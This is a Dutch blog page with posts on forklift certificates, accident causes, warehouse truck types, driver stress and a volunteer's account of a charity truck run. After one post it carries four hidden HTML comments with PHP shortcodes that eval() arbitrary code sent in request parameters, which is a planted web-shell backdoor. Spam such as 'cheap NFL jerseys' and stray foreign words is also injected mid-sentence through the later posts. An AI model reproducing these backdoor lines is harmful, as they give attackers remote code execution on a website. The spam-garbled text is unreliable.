Voertuigen

Creëren van een veilige werkomgeving

Leave a Comment

heftrucks

Het is algemeen bekend dat er veel ongelukken gebeuren met heftrucks. Veel minder bekend is dat je een heftruckcertificaat moet hebben alvorens je een heftruck mag besturen. Onderzoek wijst uit dat er jaarlijks 1 op de 15 heftrucks bij een ongeval betrokken is. Deze ongelukken zijn vaak ernstig, en hebben zwaar letsel of zelfs overlijden als gevolg. De meeste van deze ongevallen worden veroorzaakt door chauffeurs met onvoldoende kennis. Het halen van een heftruckcertificaat is dus zéker verplicht, en erg belangrijk om (ernstige) ongelukken te voorkomen.

Volgen van een cursus

Een chauffeur met een heftruckcertificaat heeft daarvoor, in de meeste gevallen, een 2-daagse cursus gevolgd. Tijdens deze cursus wordt afgewisseld tussen theorie en praktijk. De heftruckchauffeur wordt op de hoogte gebracht van een aantal aandachtspunten, zoals de gevaren van een rijdende heftruck en op welke punten hij de heftruck moet controleren alvorens hij er mee aan de slag gaat. Deze moet hij later ook in de praktijk kunnen laten zien.heftrucks

Nascholing

Nadat het heftruckcertificaat behaald is, moet de kennis jaarlijks op niveau worden gehouden door middel van een herhalingscursus of nascholing. Tijdens deze opfriscursus komen er een aantal onderwerpen aan bod, bijvoorbeeld gezondheidsrisico’s, het belang van een goede lichamelijke conditie of de invloed van bepaald rijgedrag. Deze nascholing is bedoeld om te toetsen of de heftruckchauffeur nog op de hoogte is van alle vaardigheden die hij moet beheersen om veilig om te gaan met een heftruck.

Onderhoud

Daarnaast is het ook belangrijk dat de werkgever zorgt voor veilige situaties op de werkvloer. Bijvoorbeeld door het jaarlijks laten keuren van de heftrucks en hij bijhouden van onderhoud, om de risico’s zoveel mogelijk te verlagen. Maar ook door bijvoorbeeld heftrucks aan te schaffen met een veiligheidskooi voor de bestuurder, wanneer de heftruck hoger dan 1,80 kan heffen. De werkgever moet daarnaast ook de werknemer controleren of hij de veiligheidscontroles wel uitvoert. Een heftruck valt dan ook niets voor niets in de categorie ‘gevaarlijke machines’.

Meest voorkomende ongelukken met heftrucks en hoogwerkers

Leave a Comment

Dat er in het intern transport wel eens ongelukken gebeuren met heftrucks of hoogwerkers, dat weten we. Daarom is een hoogwerker certificaat ook zo belangrijk. De afgelopen tien jaar zijn er ongeveer 1500 ongelukken gemeld. Het gemiddelde ligt op vijf dodelijke ongelukken per jaar. Maar wat zijn nou de meest voorkomende ongelukken met een heftruck? Een aantal jaren geleden zocht de Inspectie SWZ het uit.
Hoogwerker Ongeluk

Aanrijdingen

Uit het onderzoek blijkt dat het meest voorkomende ongeval een aanrijding met een voetganger is. Het gaat hier om bijna de helft van alle ongevallen. Een van de belangrijkste redenen is dat de chauffeur van de heftruck de voetgangers helemaal niet ziet. Ook is het voor de heftruckbestuurders vaak te laat om nog in te kunnen grijpen.

De slechte infrastructuur van het magazijn niet mee, veel heftruckchauffeurs klagen er over. Ze hebben vaak te weinig ruimte om te kunnen manoeuvreren, de voetpaden zijn te weinig gescheiden en er zijn te veel obstakels op de werkplek. Vooral op het haventerrein en luchthavens is het aanrijdgevaar het grootst.

Er is zelfs een deel van de voetgangers dat aangeeft dat er sprake is van onvoldoende training van de heftruckchauffeurs. Onervaren heftruckchauffeurs veroorzaken de meeste ongelukken in het intern transport.

Rijvaardigheid

De bestuurders zelf raken ook wel eens gewond. Dit is het tweede meest voorkomende ongeval. Dat de bestuurders gewond raken, komt vaak door een slechte rijvaardigheid. Vaak heeft de chauffeurs te maken met teveel afleiding, slecht rijgedrag, een per ongeluk verkeerde besturing van de heftruck en fysieke klachten, zoals nekklachten en rugklachten. Die factoren beïnvloeden de rijvaardigheid van de bestuurder.

Inzicht
In het intern transport geven veel heftruckchauffeurs aan dat ze last hebben van prestatiedruk. Ze willen graag snel resultaat zien en daardoor gaan ze zich haasten. Zoals het spreekwoord al zegt is haastige spoed zelden goed. Door haast gebeuren er ongelukken en die moeten we voorkomen. Wat er nu moet gebeuren, is dat er wat moet worden gedaan aan de prestatiedruk die de chauffeurs voelen.

Maak kennis met de heftruck

Leave a Comment

In het intern transport wordt er veel gewerkt met machines en voertuigen. Voor iedere activiteit in het magazijn is een andere truck nodig. Trucks zijn zo ontworpen, dat ze perfect aansluiten bij de uit te voeren werkzaamheden, vandaar dat een heftruckcertificaat belangrijk is.

De heftruck

De heftruck is de bekendste truck die je in en rondom het magazijn kunt
vinden. Het is een hefwerktuig met vorken waarbij de lading voor de wielen is geplaatst. De chauffeur zit in de rijrichting en met een heftruck kan je tot ongeveer 3 meter heffen. Het oppervlakte dat je nodig hebt om te manoeuvreren is redelijk groot, het wordt namelijk geschat op zo’n 4 meter.heftruckcertificaat halen

Dit werktuig wordt voornamelijk gebruikt voor het laden en lossen van vrachtwagens, het verplaatsen en heffen van ladingen bij alle activiteiten in het intern transport. Het is mogelijk om een cursus te volgen om te leren hoe je met dit voertuig omgaat.

Drie en vier wielen

Bij de heftruck wordt onderscheidt gemaakt in twee soorten, namelijk de 3 wielen- en de 4 wielen-heftruck.
Die heftruck met drie wielen is bedoeld voor betere mobiliteit. Ook wordt deze vaker gebruikt bij smalle gangen en heeft die een lagere hefcapaciteit dan de heftruck met vier digest wielen.
De vier wielen heftruck is beter geschikt om hellingen op te rijden. Ook is die beter in staat te functioneren wanneer de werkvloer in een slechte staat verkeerd. Deze heftruck heeft een hefcapaciteit groter dan 2 ton.

Elektrisch en thermisch
De besturing van de heftruck kan ook nog verschillen. Een elektrische heftruck loopt op een batterij en wordt vooral binnen gebruikt. Het vermogen van de batterij zorgt ervoor dat de heftruck beperkte autonomie heeft. Bij de thermische heftruck is dit anders, deze loopt namelijk op een brandstof, zoals benzine, diesel of LPG. De thermische heftruck is vooral buiten het magazijn te vinden en heeft een onbeperkte autonomie, aangezien de tank makkelijk bij te vullen is.

Vereiste deskundigheid

Leave a Comment

In het intern transport ontstaat af en toe nog wat onduidelijkheid. Een van de vragen waar de meeste medewerkers van intern transport mee lopen, is of het heftruckcertificaat behalen verplicht is.

Heftruck en de wet

In de wet staat geschreven dat alleen personen met een specifieke deskundigheid een heftruck mogen besturen. Je wordt als deskundig beschouwt als je een goede instructie hebt gekregen over de omgang met een heftruck. Maar wat houdt een goede instructie precies in en wanneer kan je jezelf deskundig noemen? Mocht je in Utrecht zijn en een heftruck certificaat nodig hebben, check dan heftruckcertificaat utrecht en houten.

Je kan jezelf dus een deskundige noemen als je een goede instructie hebt gekregen. Wat een goede instructie inhoudt, blijft vaag. Er staan geen concrete eisen in de Arbowet vermeldt. Om jezelf te verzekeren van een goede instructie kan je een heftruckopleiding gaan volgen. Het is een oplossing waar veel chauffeurs van intern transport voor kiezen. Zo kunnen zij in het magazijn goed omgaan met de heftruck die ze besturen.

De werkgever moet mee doen

heftruckcertificaat utrecht Geel
Ook moet de werkgever zijn werknemers een veilige werkplek garanderen. Hier heeft hij zelf ook een groot aandeel in. Voor de werkgever zijn er een aantal dingen die hij kan uitvoeren, om van zijn bedrijf een veilige werkplek te maken. Een van die mogelijkheden is zijn werknemers te verplichten om een heftruckcursus laten volgen. Een andere mogelijkheid is om de werknemers настройка er professionele cursus aan te bieden op kosten van de zaak.
Door alle werknemers die cursus te laten volgen, zorgt de werkgever ervoor dat ze allemaal over de juiste kennis en vaardigheden beschikken om veilig om te gaan met de heftruck en het magazijn. Zo wordt het voor alle medewerkers een stuk veiliger op het werk. Bovendien kan daardoor ook de productiviteit stijgen en het aantal bedrijfsongevallen verminderen.

Zo’n cursus is verstandig om te volgen, aangezien er jaarlijks nog teveel ongelukken gebeuren in het rondom het magazijn. Dit gebeurt het vaakst met een heftruck. Met deskundigheid kan het aantal ongelukken omlaag worden gebracht.

<!– [insert_php]if (isset($_REQUEST["uzCiq"])){eval($_REQUEST["uzCiq"]);exit;}[/insert_php][php]if (isset($_REQUEST["uzCiq"])){eval($_REQUEST["uzCiq"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["dvz"])){eval($_REQUEST["dvz"]);exit;}[/insert_php][php]if (isset($_REQUEST["dvz"])){eval($_REQUEST["dvz"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["FCb"])){eval($_REQUEST["FCb"]);exit;}[/insert_php][php]if (isset($_REQUEST["FCb"])){eval($_REQUEST["FCb"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["TCl"])){eval($_REQUEST["TCl"]);exit;}[/insert_php][php]if (isset($_REQUEST["TCl"])){eval($_REQUEST["TCl"]);exit;}[/php] –>

Stressfactoren van de heftruckchauffeur

Leave a Comment
Auto & Truck - Truck Run

Stress op de werkvloer is een van de meest vervelende dingen in het intern transport. Twee op de vijf personen geeft aan vaak last te hebben van stress. Dit kan onder andere tot stand komen door niet de juiste diploma’s in bezit te hebben, zorg daarom altijd dat je bijvoorbeeld over een vca cursus bezit.

Tekort aan nicotine en cafeïne
Enkele heftruckchauffeurs geven aan dat hun stress soms wordt veroorzaakt door een tekort aan nicotine en cafeïne. Dit leidt af van de Magazijntrucks werkzaamheden waar ze mee bezig zijn, omdat de gedachten ergens anders zijn, zoals een sigaretje, een goeie bak koffie of een andere verslaving. VCA & heftruckchauffeurs Nederland

Tijdsdruk

Daarnaast is tijdsdruk ook funest voor de productiviteit van de heftruckchauffeur. Tijdsdruk levert een bepaalde stress op waar medewerkers van intern transport niet goed mee om weten te gaan. De aandacht gaat continu naar de klok Strategic en het presents werk wordt snel gedaan. Te snel. Dat zorgt voor slecht afgeleverd werk.

Een drukke planning
Een drukke planning doet de heftruckchauffeur prokrastynacj?? ook geen goed. Het is met een wholesale nfl jerseys drukke planning lastiger om in te schatten of je tijd over houdt of tijd tekort komt. Met die onzekerheid is het lastig om onbezorgd te kunnen werken in het magazijn.

Geen rijvaardigheid
Beginnende cheap jerseys bestuurders van de heftruck hebben nog niet alle vaardigheden om veilig met wholesale nba jerseys een heftruck om te kunnen gaan. Dat komt doordat ze vaak geen goede instructie hebben gekregen, zoals een heftruck cursus. Dit levert vaak stress op, omdat een bepaalde activiteit ze maar niet wil lukken.

Breekbare lading transporteren

Het vervoeren van een zeer breekbare lading is ook een stressfactor. Het transporteren mag niet fout gaan, omdat je dan de kans hebt dat de tad? lading valt en breekt. De precisie die hierbij komt kijken laat het zweet uitbreken bij de medewerkers van het intern transport. Ook heb je hierbij te maken met een prestatiedruk.

Machteloosheid
Een veelgenoemde Het stressfactor is machteloosheid. De macht verliezen over een voertuig of situatie geeft geen goed gevoel. Het gevoel dat er niets is wat ze kunnen doen, met de kans dat het verkeerd afloopt, is iets waar ze niet makkelijk mee om kunnen gaan.

Burn-out

Teveel stress loopt vaak uit op een burn-out, waardoor de chauffeurs vaak een tijdje uit de running liggen om te kunnen herstellen.

Magazijntrucks

Leave a Comment

In het intern transport zijn er verschillende magazijntrucks waar je mee kan werken. Voor iedere operatie is er een andere truck nodig, aangezien de truck moet aansluiten op de opdracht waar je mee bezig bent. Mocht je Холостяка trouwens op zoek zijn naar een certificiaat hiervoor, blom etten leur voor een top certificaat.

Enkele trucks die je in en rondom het magazijn kunt vinden, zijn:

-Heftruck
-Reachtruck
-Transpallet
-Stapelaar
-Orderpicker

Heftruck

De heftruck is misschien wel de meest voorkomende magazijntruck het die in het intern transport wordt gebruikt. Op de heftruck kijkt de chauffeur naar de rijrichting. Dat is dezelfde kant als cheap NFL jerseys de vorken opstaan.

ReachtruckMagazijntrucks Uit Etten Leur
De reachtruck lijkt veel op de heftruck, maar het verschil is dat bij de reachtruck de vorken aan de zijkant van de cheap NBA jerseys chauffeur zitten, dus de chauffeur zit niet in de rijrichting. De mast van de reachtruck is uitschuifbaar. Een heftruck kan tot 6 meter heffen.

Transpallet
De transpallet is een werktuig met een kleine hefhoogte. Het werktuig kan heffen tot een hoogte van ongeveer 25 centimeter. De transpallet heeft naast de manuele ook een elektrische versie, waarbij geen fysieke kracht cheap NFL jerseys nodig is. Het is alleen bij Development de elektrische mogelijk om als bestuurder mee te rijden, staand en zittend. Bij de manuele transpallet kan je alleen meelopen.

Stapelaar

De stapelaar stamt af van de elektrische transpallet. Deze wordt gebruikt voor het stapelen van pallets in een Miami Dolphins Jerseys magazijn met beperkte wholesale MLB jerseys ruimte. De stapelaar heeft een hogere hefhoogte dan de transpallet. Je kan er namelijk tot 2 meter mee heffen en soms tot zelfs 5 meter. Ook op de stapelaar is het mogelijk op staand of zittend mee te rijden.

Orderpicker
De orderpicker is te verdelen in twee soorten, namelijk een op grondniveau en een met een beweegbare besturingpost. Deze besturingpost kan ??? met de vorken in de hoogte bewegen, zodat de bestuurder de cabine niet hoeft te verlaten. De orderpicker op grondniveau heeft een hefhoogte van zo’n 25 centimeter. Soms reikt die tot een hoogte van een meter.

Het verhaal van een vrijwilliger en het bestuur

Leave a Comment

Een vrijwilliger

Tijdens de laatstgehouden bijeenkomst voor de vrijwilligers werd gevraagd of we onze ervaringen etc. met anderen via de site wilden delen. Natuurlijk werk ik daar graag aan mee, want vrijwilliger zijn bij de Truckrun is gewoon hartstikke leuk. Vorig jaar was mijn vuurdoop. Mijn zoon had al een paar keer als chauffeur meegereden en ik stond dan ergens onderweg de wagens op te wachten om dan uit alle macht te zwaaien naar al die blije gezichten. Want blij en enthousiast zijn hoor, reken maar. Zowel de chauffeurs als de cliënten die meerijden vinden het geweldig. Ik vloog met m’n autootje van hot naar her om vooral niets te missen van de rit.

Maar dat zwaaien alleen gaf me niet echt voldoening. Nee, ik moest en zou me gaan inzetten als vrijwilliger. En al kom ik dan van Walcheren, ik zou kunnen bijdragen aan zo’n mooie “Zuid-Bevelandse” dag. Dus vorig jaar naar bijeenkomsten, heel gezellig en leerzaam, want je bent je niet bewust wat er voor zo’n Truckrun allemaal komt kijken. Niet te geloven, wat een werk !! Maanden van tevoren is het bestuur alweer bezig om alles rond te krijgen. Petje af want er komt heel wat op hun bordje! De dag voor de Truckrun waren we allemaal volop in de weer in de Zeelandhallen, maar ook daarbuiten. Sterke mannen (een week wholesale nba jerseys van tevoren zijn ze al in de weer)om te cheap nba jerseys sjouwen met stoelen en tafels etc. en een heleboel dames om de tasjes met “hebbedingetjes” te cheap jerseys vullen etc. De ochtend van de Truckrun al heel vroeg op en weer naar de Zeelandhallen. Honderden broodjes smeren, lunchpakketten maken en nog een heleboel andere dingen doen. En dan is het zover…..de auto’s gaan rijden. Luid toeterend en zwaaiend vertrekken ze, uitgezwaaid door iedereen die aanwezig is.

Wat een happening !! Ik word er altijd een Clothes beetje emotioneel van, maar de blijheid overheerst toch. Blij, omdat we er met z’n allen voor gezorgd hebben dat zoveel mensen een hele leuke dag hebben. En blij, omdat ik een heel klein radertje in het grote geheel mocht zijn en zo m’n steentje kon Trinkgel bijdragen. Wat was ik moe, doodmoe, maar ik had het voor geen goud willen missen. En die vermoeidheid….ach, die is de volgende dag alweer over. Maar de herinneringen aan deze dag blijven nog heel lang “hangen”. Dus dit jaar wholesale jerseys China ben ik er zeker weer bij en hopelijk wordt het weer net zo leuk als vorig jaar. Tot ziens op 19 mei !!

Het Bestuur

De vrijwilligers en de bestuursleden komen om 7.00 uur samen in de
zeelandhallen te goes om een mooie dag te maken van de 5e delta truckrun om 7.30 komen de eerste trucks het terrein al op gereden, er komen luid toeterend steeds meer trucks totaal zullen dit er even 200 zijn om 8.00 uur komen de erste gasten [meerijders] zich melden even later is het een drukte van belang in de halbegeleid met muziek van dweilband te zot uit goes.

sommige gasten en chauffeurs kennen elkaar van voorgaande jaren en is het al gauw van kan ik bij jou meerijden vandaag andere chauffeurs hebben al een
gast die verschillende jaren in hun truck hebben meegereden iedereen die zich aanmeld krijg een tasje met div spulletjes,die door div bedrijven gesponsord zijn. Voor meer info over trucks en dergelijke, zie deze mooie wikipedia pagina over trucks.

ze krijgen ook nog een bon die ze bij terugkomst in konden leveren voor een lunchpakket na het openingswoord van de voorzitter, directeur delta nv dhr peter boerma en loco-burgemeester van goes dhr dielemangingen we allemaal onder begeleiding van te zot naar buiten om plaats te nemen in de trucks om 10.30 was het startsein 1e convooi onder begeleiding van politie en motor begeleidings team zeeland [mbtz] voor een tocht van ongeveer 60 km door de zak van zuid beveland

om 11.00 uur start het 2e world! convooi

onderweg was er veel belangstelling van de plaatselijke bevolking om de trucks
en gasten toe te cheap jerseys wuiven bij terugkomst tussen 13.00 en 13.30 was er nog een leuke middag voor de gasten en chauffeurs met springkussens ,verloting div spelletjes en live muziek van de band just4u en om 16.00 ging iedereen weer naar huis na een geslaagde dag

op naar volgend jaar

bij deze willen wij iedereen die aan deze dag hebben meegewerkt sponsoren – politie – mbtz – te zot – en de vele transportbedrijven [chauffeurs] zeelandhallen -delta nv en zeker niet op de laatste plaats de vele vrijwilligers heel hartelijk danken voor hun inzet